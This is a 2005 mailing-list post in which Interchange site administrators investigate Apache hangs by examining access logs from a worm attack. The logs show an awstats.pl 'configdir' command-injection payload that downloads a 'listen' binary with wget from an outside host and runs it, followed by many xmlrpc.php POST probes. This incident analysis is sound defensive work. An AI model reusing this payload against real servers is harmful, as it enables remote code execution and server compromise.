[ic] mod_interchange and Apache MaxClients

[Ron Phipps]

> From: interchange-users-bounces at icdevgroup.org
[mailto:interchange-users-
> bounces at icdevgroup.org] On Behalf Of John1
> Sent: Monday, November 21, 2005 4:48 PM
> 
> ########### snippet from previous post:
> The Apache access log shows just 3 entries before the site went down,
all
> from hackers_IP.  For interest, these were along the lines of:
> 
> /cgi-bin/awstats/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget
> x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|
> ##########
> 
> OK, it's conclusive, the above "hacker" script is definitely the cause
of
> our site stopping responding at the moment (and I suspect Ron's and
Jeff's
> also - can you confirm this?).  Our site stopped responding again
tonight
> and was restarted by Ron's script again.  This time the site went down
> when
> there were many connections, but one IP address stood out as having 10
> connections to Apache.  Sure enough, when I searched our Apache access
log
> for access from this suspicious IP address I saw the same 3 entries as
the
> last time the site stopped responding:
> 
> 1) /awstats/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget
> x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|
> 
> 2) /cgi-bin/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget
> x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|
> 
> 3) /cgi-bin/awstats/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget
> x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|
> 
> Now these were the only 3 entries, but searching around on the web I
have
> found that this script goes on to try to exploit the xml-rpc
vulnerability
> by sending a variety of POST requests to xmlrpc.php (which it tries to
> find
> in a variety of locations)
> 
> e.g. POST /drupal/xmlrpc.php with XML in the body of the POST request.
> 
> Here is an analysis of the packets sent (not particularly readable,
but
> all
> the information is there):
> http://www.philippinehoneynet.org/charts_2005-11-11/awstats.html
> 
> There are many references to this hacking script on the web - most
dated
> Nov
> 2005, so it appears to be a very new script.  Here are a couple of
links
> to
> overviews:
> http://www.philippinehoneynet.org/dataarchive.php?date=2005-11-11
> http://isc.sans.org/diary.php?storyid=823
> 
> We did have several sites running on the same Apache webserver, but
they
> were all development sites, so once Apache started hanging I decided
to
> remove all the other sites so that Apache was only hosting our main
> Interchange website.  Interestingly, prior to removing these other
> websites
> I was seeing these POST requests to xmlrpc.php in the Apache error log
> (but
> in relation to our *non-interchange* websites).  Since removing these
> websites, I am not seeing any of these xmlrpc.php POST attempts in the
> Apache error log.
> 
> As mentioned, the *only* 3 requests from the hacker's ip address
before
> the
> site stops responding are the 3 awstats.pl GET requests.  I believe
the
> 4th
> reqest (which we don't see in the log) is a POST request to xmlrpc.php
> 
> >From this, I conclude that this same script when used against our
other
> websites was not causing Apache to fall over.  But, when used against
our
> Interchange site the webserver does stop responding.  So, it looks
like it
> is these POST attempts to non-existent pages on our Interchange site
that
> are causing Apache to hang, so I presume it is mod_interchange that is
> being
> tripped up by these POST requests.
> 
> I know that the Interchange missing.html page is served up if a GET
> request
> is made for a non-existent page, but what happens if a POST request is
> made
> for a non-existent page?  As mentioned, the POST request tries to send
> some
> XML in the body of its request (the above 2 links provide more
detail).
> 
> Kevin, I am rather hoping that you may be able to spot a reason why
> mod_interchange may not be coping well with these POST requests to the
> non-existent xmlrpc.php page?  Thank you everyone for your continued
help
> on
> trying to solve this one - hopefully we are getting closer...
> 

Well our site stopped responding finally (never thought I'd say that ;),
after a week or two of being up.

And sure enough in the logs we find:

66.38.145.65 - - [29/Nov/2005:21:04:09 -0800] "GET
/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2
e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e
102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 200 34596 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:04:09 -0800] "GET
/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2
e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e
102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 200 34596 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:04:10 -0800] "GET
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2
e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e
102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 200 11584 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:04:10 -0800] "GET
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2
e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e
102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 200 25223 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:04:11 -0800] "GET
/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwge
t%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%
20216%2e102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 200 34612 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:04:11 -0800] "GET
/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwge
t%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%
20216%2e102%2e212%2e115;echo%20YYY;echo|  HTTP/1.1" 200 34612 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST
/blogs/xmlsrv/xmlrpc.php HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST
/blog/xmlsrv/xmlrpc.php HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /blog/xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /drupal/xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /blog/xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /drupal/xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST
/phpgroupware/xmlrpc.php HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST
/blog/xmlsrv/xmlrpc.php HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /xmlsrv/xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /xmlrpc/xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST
/wordpress/xmlrpc.php HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /xmlsrv/xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST
/blogs/xmlsrv/xmlrpc.php HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST
/phpgroupware/xmlrpc.php HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST
/wordpress/xmlrpc.php HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
66.38.145.65 - - [29/Nov/2005:21:05:47 -0800] "POST /xmlrpc/xmlrpc.php
HTTP/1.1" 500 612 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"

This client had 20 connections to the server when the script noticed the
site was not responding.  

I'm going to try and find a copy of this worm and test the code against
our site to see specifically what is causing the problem (either the
awstats exploit, the xml exploit, or some exploit that is not being
logged).  Once I can reproduce the problem then we can perhaps track
down where the issue is (apache/mod_interchange/interchange).

Maybe if we added /cgi-bin/awstats.pl and /xmlrpc.php to the
DropRequestList for mod_interchange the attack would not bring the site
down?  Of course this wouldn't fix the issue, just hide it.

Does anyone have a copy of the worm?  I'll do some searching and see
what I can turn up.

Thanks,
-Ron